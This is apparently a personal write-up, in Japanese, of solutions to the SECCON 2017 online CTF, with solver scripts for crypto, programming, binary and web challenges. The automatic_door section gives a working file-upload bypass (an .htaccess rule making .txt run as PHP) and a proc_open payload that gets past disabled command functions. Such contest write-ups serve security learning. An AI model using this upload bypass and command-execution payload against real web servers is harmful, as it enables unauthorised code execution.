Posted at

SECCON 2017 Online CTF Write-up

More than 1 year has passed since last update.

SECCON 2017

チームsuperflipは、13問、2500点、58位。日本チームの中では14位なので、正式発表はまだだけど国内決勝大会には行けそう。


Vigenere3d Crypto 100

Vigenere暗号の2次元の表を3次元にした版。

平文pを鍵をk1k2とすると暗号文ci番目の文字はs[s.find(p[i])+s.find(k1[i])+s.find(k2[i])]となる。この問題ではk1=k2[::-1]であることと、暗号文の一部が分かっていることからs.find(k[i])+s.find(k[::-1][i])の値が推測できる。

s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"

P = "SECCON{**************************}"
C = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
K = []

for i in range(7):
K += [(s.find(C[i])-s.find(P[i])) % len(s)]

ans = ""
for i in range(len(C)):
ans += s[(s.find(C[i])-K[i%14 if i%14<7 else 13-i%14]) % len(s)]
print ans

SECCON{Welc0me_to_SECCON_CTF_2017}


Run me! Programming 100

実行にとても時間がかかるPythonスクリプトの実行結果を求めよという問題。メモ化すれば良い。フィボナッチ数列を再帰を使わずに求めても良い。

import sys

sys.setrecursionlimit(99999)
memo = {}
def f(n):
if n not in memo:
memo[n] = n if n < 2 else f(n-2) + f(n-1)
return memo[n]
print "SECCON{" + str(f(11011))[:32] + "}"

SECCON{65076140832331717667772761541872}


putchar music Programming 100

Linuxで実行すると、putcharで曲が流れるらしい……が流れなかった。double x=pow(1.05946309435931,p[i]/6+13)を見ると、p[i]/6が音階のようなので、埃を被っていた電子ピアノで弾いてみたけど良く分からなかった。ヤマハの楽曲検索で探した。ただコンパイルして実行するだけだと問題にならないし、何かエスケープシーケンスを先に出力するとかそういう問題だったのかもしれない。

SECCON{STAR_WARS}


Qubic Rube Programming 300

WebGLでQRコードが描かれたルービックキューブが回っている。キューブの切れ目とQRコードのセルの切れ目がずれているので、真面目に解かなくても境目が合うものを貼り合わせれば良い。

image.png

import urllib

from PIL import Image

def solve(id):
image = []
for a in "LRUDFB":
img = urllib.urlopen("http://qubicrube.pwn.seccon.jp:33654/images/"+id+"_"+a+".png").read()
name = "download\\"+id+"_"+a+".png"
open(name, "wb").write(img)
t = Image.open(name)
image += [[t, t.transpose(Image.ROTATE_90), t.transpose(Image.ROTATE_180), t.transpose(Image.ROTATE_270)]]
for bb in "LRUDFB":
base = Image.open("download\\"+id+"_"+bb+".png")
for pos in range(8):
for i in range(6):
for j in range(4):
ok = True
for k in range(82):
a = image[i][j].getpixel((
[82,164,82,81,0,164,164,0][pos] + [1,0,1,0,1,1,1,1][pos]*k,
[81,82,164,82,81,81,164,164][pos] + [0,1,0,1,0,0,0,0][pos]*k))
b = base.getpixel((
[82,163,82,82,0,164,164,0][pos] + [1,0,1,0,1,1,1,1][pos]*k,
[82,82,163,82,82,82,163,163][pos] + [0,1,0,1,0,0,0,0][pos]*k))
if a!=b:
ok = False
if ok:
ox = [82,164,82,0,0,164,164,0][pos]
oy = [0,82,164,82,0,0,164,164][pos]
for y in range(82):
for x in range(82):
base.putpixel((ox+x,oy+y), image[i][j].getpixel((ox+x,oy+y)))
base.save(id[:2]+"_"+bb+".png")

import subprocess

id = "01000000000000000000"
while True:
print id[:2]
solve(id)
nextid = ""
for a in "LRUDFB":
res = subprocess.check_output((r"c:\Program Files (x86)\ZBar\bin\zbarimg.exe", "-q", id[:2]+"_"+a+".png"))
print a, res[:-2]
if "http" in res:
nextid = res[len("QR-Code:http://qubicrube.pwn.seccon.jp:33654/"):-2]
if nextid=="":
break
id = nextid

最初はファイル名が_B.pngの面が黄色でそこに次のURLが書かれていたけど、ステージが進むと色が変わったり場所が変わったりしたので、6面全部求めている。


SHA-1 is dead Crypto 100

SHA1が同じで、中身が異なり、ファイルサイズが2017kB超過2018kB未満のファイルを2個投稿せよという問題。Googleの計算資源が無いとSHA1の衝突なんて無理でしょ……と思ったが、Googleの計算したファイルの末尾に適当なデータを付ければ良い。一旦2個のファイルのSHA1が衝突したら、後ろに同じデータを付けてもSHA1は衝突したまま。

最初に2017001バイトのファイルを投稿したら弾かれた。1000はkで、1024はKKiで表記してほしい……と書きながら問題サイトを見に行ったら、Kiになっていた :thumbsup:

SECCON{SHA-1_1995-2017?}


Powerful_Shell Binary 300

PowerShellのスクリプト。実行するためにはポリシーを変更する必要がある

数段階で難読化されている。最後のほうで復号したスクリプトを実行するので、取り出して解析していけば良い。

途中で出てくるキーボードは本当に音が出てすごい。hhjhhjhjkjhjhfで「さくらさくら」を奏でると通る。

image.png

SECCON{P0wEr$H311}


Log search Web 100

Elasticsearchのクエリで問題ページ自体のアクセスログが検索できる。

Query String Queryのコマンドが通る。とはいえスクリプトを実行したりはできず、検索ができるだけ。

何をすれば良いのかわからなかったけど、/flag-HOKIFh6eKr0rWUkYK8CqZl9Fbxn4xxvy.txtみたいなURLに定期的にアクセスがあることに気が付いた。参加者がこんなことをする意味は無いので、出題者だろう。ほとんどが404を返しているけど、このようなURLで200のものを探した。

request:flag AND response:200 AND timestamp:"09/Dec/2017:03"

先頭に/flagがあるという条件で絞れれば良いのだけど、良く分からなかったので、とりあえず時刻で絞った。

SECCON{N0SQL_1njection_for_Elasticsearch!}


printf machine Binary 400

どこかで見た問題だw 書式指定文字列を使ってVMを実装している。

どこかで見た問題よりもprintfの引数は簡単で、32個の1バイト変数の配列aを用意して、printfの1-32番目の引数に書き込み用として、33-64番目の変数に読み込み用として渡している。(1-indexで)a[17]からa[32]に入力した文字列を書き込んで、実行し、a[16]0になれば正解。

書式指定文字列は読みづらいことこの上ないので、整形。

import re

for l in open("default.fs"):
if l[-1]=="\n":
l = l[:-1]
m = re.match(r"^%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
if m:
print "a[%2s] = a[%2s]" % (m.group(2), int(m.group(1))-32)
else:
m = re.match(r"^%(\d+)\$hhn$", l)
if m:
print "a[%2s] = 0" % m.group(1)
else:
m = re.match(r"^%(\d+)\$hhn%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
if m:
print "a[%2s] = 0, a[%2s] = a[%2s]" % (m.group(1), m.group(3), int(m.group(2))-32)
else:
m = re.match(r"^%2\$\*(\d+)\$s%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
if m:
if int(m.group(3)) == int(m.group(1))-32:
print "a[%2s] += a[%2s]" % (m.group(3), int(m.group(2))-32)
else:
print "a[%2s] = a[%2s] + a[%2s]" % (m.group(3), int(m.group(1))-32, int(m.group(2))-32)
else:
m = re.match(r"^%2\$\*(\d+)\$s%2\$(\d+)s%(\d+)\$hhn$", l)
if m:
print "a[%2s] = a[%2s] + %s" % (m.group(3), int(m.group(1))-32, m.group(2))
else:
m = re.match(r"^%(\d+)\$s%(\d+)\$hhn$", l)
if m:
print "a[%2s] = strlen(a[%2s])" % (m.group(2), m.group(1))
else:
print l

読んでみると、16辺数の連立方程式が成り立つかどうかを判定していた。%1$s%5$hhna[5] = a[1]!=0になる。なるほど。

M = []

swap = []

for l in open("fs.txt"):
if l[-1]=="\n":
l = l[:-1]
if l[:9]=="a[ 4] = a":
s = int(l[-3:-1])
if l[-8:]==" = a[ 4]":
swap += [(s, int(l[2:4]))]
if l=="a[ 3] = 0":
M += [[]]
if l[:10]=="a[ 4] = 0,":
a = 1
b = 0
elif l=="a[ 9] += a[ 9]":
a += a
elif l=="a[ 4] += a[ 9]":
b += a
elif l=="a[ 3] += a[ 4]":
print b,
M[-1] += [b]
elif l[:13]=="a[ 1] = a[ 3]":
print l.split()[-1]
M[-1] += [int(l.split()[-1])]

D = [0]*256
for i in range(256):
for j in range(256):
if i*j%256==1:
D[i] = j

n = 16
for i in range(n):
for j in range(i,n):
if D[M[j][i]] != 0:
break
else:
assert False
M[i],M[j] = M[j],M[i]
d = D[M[i][i]]
for j in range(n+1):
M[i][j] *= d
M[i][j] %= 256
for j in range(i+1,n):
t = M[j][i]
for k in range(n+1):
M[j][k] -= M[i][k]*t
M[j][k] %= 256
for i in range(n)[::-1]:
for j in range(i):
t = M[j][i]
for k in range(n+1):
M[j][k] -= M[i][k]*t
M[j][k] %= 256

for m in M:
print m

flag = [chr((-M[i][-1])%256) for i in range(n)]
print "".join(flag)

for s in swap[::-1]:
flag[s[0]-17],flag[s[1]-17] = flag[s[1]-17],flag[s[0]-17]
print "".join(flag)

掃き出し法で解ける。最初に入力を並び替えているので、元に戻すと答えになる。どこかで見た問題と違って、ループが作れないのでチューリング完全ではない。

SECCON{Tur!n9-C0mpl3t3?}


Ps and Qs Crypto 200

RSAの公開鍵が2個と、暗号化したファイルが渡される。共通の素因数を持っていれば、ユークリッドの互除法で素因数が取り出せる。

NICTが共通の素数を持つ公開鍵を可視化するツールXPIAを作っていたけど、いったい何がどうなれば片方の素数だけ一致するのだろう?

openssl rsa -pubin -text < pub1.pub

openssl rsa -pubin -text < pub2.pub

import sys

sys.setrecursionlimit(10000)

n1 = 0xcfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd
n2 = 0xbb33cc7fcc8ecaf3bf9ed95c583792e1ec6b80ee875ec2064dbcf07595c8344923bf536524d4e0a75574c7798c73b197dd2b1b42054b1e49cb45fbf04e6f114cf8a365c3df3645524f778268038a3fa26802e9d1edbfbb5edfb5a0c375370d7f10f57dabbd4f771dad3632f01b9bce10489966ee882dab17a33b786aa5f73165a54051300b1df9280392a3ede9d3fc9c4d8a6a06351f6ef3598e8de2b39d3b19af64a1716cd15826c3f24cb13deb722c3a03ef1d2be2d0a5a6e210ff5d018367be3bf99ea26ba006e5164a4dd55aabcd449de5ce1864825dc160e50d509eb0e6fe723ef182681eddb94084b83ec9e2e943e87cb87509ab0fd9b1ca22c1ceaff39fcacf6729fc0e0578670d87d7f0f9ccbe09cb3e12ceb895572a9979d10bfdbfafa260568d8db184be12b3e3193e07729ce3c1d9cd8283ed6983a06388036a0a70294f23392944778280e7de9f60163a8150e30ff4a4ea02792cbe8305baa2e99afe51e17dafc56be0d384147bcd38e9d12934ec712622217773a4b3851a9b0c6c7c3e01f6111a1e1a557f4e2ae4a247ce9b75ccccb1819825f3054aa1c055bd3e2340093ae2ef1d0fa5a176825efdf79507027f5104080009142f0d43e2f10cfad220813bbb9014d4f4325edac538fb5e82b753e2ad3b24607d7380aa64fcb98b59ea8b5a736b809383248cece0b17255ea559e90127f778af6d7e8a66dad91

def gcd(a, b):
if b==0:
return a
else:
return gcd(b, a%b)
p = gcd(n1,n2)
q1 = n1/p
q2 = n2/p

def exgcd(x,y):
r0,r1 = x,y
a0,a1 = 1,0
b0,b1 = 0,1
while r1>0:
q1 = r0/r1
r2 = r0%r1
a2 = a0-q1*a1
b2 = b0-q1*b1
r0,r1 = r1,r2
a0,a1 = a1,a2
b0,b1 = b1,b2
return a0,b0,r0

def int2bin(d):
t = "%x"%d
return (t if len(t)%2==0 else "0"+t).decode("hex")

def enclen(l):
if l<0x80:
return chr(l)
else:
t = int2bin(l)
return chr(0x80+len(t))+t

def encint(n):
t = int2bin(n)
return "\x02"+enclen(len(t))+t

def make(p,q):
n = p*q
e = 65537
d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1)
exp1 = d % (p-1)
exp2 = d % (q-1)
coef = pow(q,p-2,p)

t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef]))
t = "\x30"+enclen(len(t))+t

print "-----BEGIN RSA PRIVATE KEY-----"
print t.encode("base64")[:-1]
print "-----END RSA PRIVATE KEY-----"

make(p,q1)
make(p,q2)

openssl rsautl -decrypt -inkey priv1.priv < cipher

SECCON{1234567890ABCDEF}


JPEG file Binary 100

どこか1ビットが反転したJPEGファイル。なんかDCT逆変換が掛かっていないような絵なので、ヘッダじゃないかなと当たりをつけてSOS (0xFFDA)のあたりを反転させたファイルを作ったら、フラグが読めるものが出てきた。

data = open("tktk.jpg", "rb").read()

for i in range(0x263*8,0x273*8):
open("fix\\%d.jpg"%i, "wb").write(data[:i/8]+chr(ord(data[i/8])^1<<(i%8))+data[i/8+1:])

SECCON{jp3g_study}


Simon and Speck Block Ciphers Crypto 100

こういう暗号があるらしい。論文と、平文と暗号文と一部が伏せられた鍵(フラグ)。伏せられている部分が4文字だけなので総当たりをすれば良い。綺麗な実装を公開してくれている人がいるので、自分で実装する必要はない。エンディアンを逆にする必要があった。

https://github.com/inmcm/Simon_Speck_Ciphers

#include <stdio.h>

#include <stdint.h>
#include "Simon.h"
#include <string.h>

int main(void)
{
Simon_Cipher simon;

uint8_t key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, 0x00, 0x00, 0x00, 0x00, 0x7d};
uint8_t plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71};
uint8_t cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5};

for (int i=0; i<4; i++) {
uint8_t t = plain[i];
plain[i] = plain[7-i];
plain[7-i] = t;
t = cipher[i];
cipher[i] = cipher[7-i];
cipher[7-i] = t;
}
for (int i=0; i<6; i++) {
uint8_t t = key[i];
key[i] = key[11-i];
key[11-i] = t;
}

for (int k0=0x20; k0<0x80; k0++, printf("%02x\n", k0))
for (int k1=0x20; k1<0x80; k1++)
for (int k2=0x20; k2<0x80; k2++)
for (int k3=0x20; k3<0x80; k3++)
{
key[1] = k0;
key[2] = k1;
key[3] = k2;
key[4] = k3;
Simon_Init(&simon, Simon_96_64, ECB, key, NULL, NULL);
uint8_t c[8];
Simon_Encrypt(simon, &plain, &c);
if (memcmp(cipher, c, 8) == 0) {
printf("%.12s\n", key);
break;
}
}

return ;
}

SECCON{6Pz0}


automatic_door Web 500

ファイルをアップロードしたり消したりできるウェブアプリ。シェルを取って/flag_xを実行せよという指示がある。

アップロードしたファイルはファイル名がそのままで、Apacheからもアクセスできる。.phpをアップロードしようとしたら、phを含むファイルは弾かれる。まずは、.htaccessをアップロードして、.txtをPHPとして実行できるようにする。

AddType application/x-httpd-php .txt

あとはsystem('/flag_x')を実行するだけだと思ったが、これが動かなくて悩んだ。今どきPHPのセーフモードなんてないだろうし、ファイルに実行権限は付いてるし、execとかpassthruを試してもダメ。実行できないならファイルをダウンロードしようとしたけど、権限が--x--x--xで、実行するしかないらしい。

php.iniを見ると、pcntl_*exec,passthru,popen,shell_exec,systemが並んでいた。なるほど。他にプログラムを実行できる関数が無いかとググるとproc_openがあった。

<?php 

$process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes);
echo stream_get_contents($pipes[1]);

を拡張子を.txtにしてアップロードして実行。

SECCON{f6c085facd0897b47f5f1d7687030ae7}


Thank you for playing! Thank you! 100

面白かった。ガチっぽいpwnがいっぱいあってガチ勢も満足なのでは(私はpwnは1問も解けなかったけど)。

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}